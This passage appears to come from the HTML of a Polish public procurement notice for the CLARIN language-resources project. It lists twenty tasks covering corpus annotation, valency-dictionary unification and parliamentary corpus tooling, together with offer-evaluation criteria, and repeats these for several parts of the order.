Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 4</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i 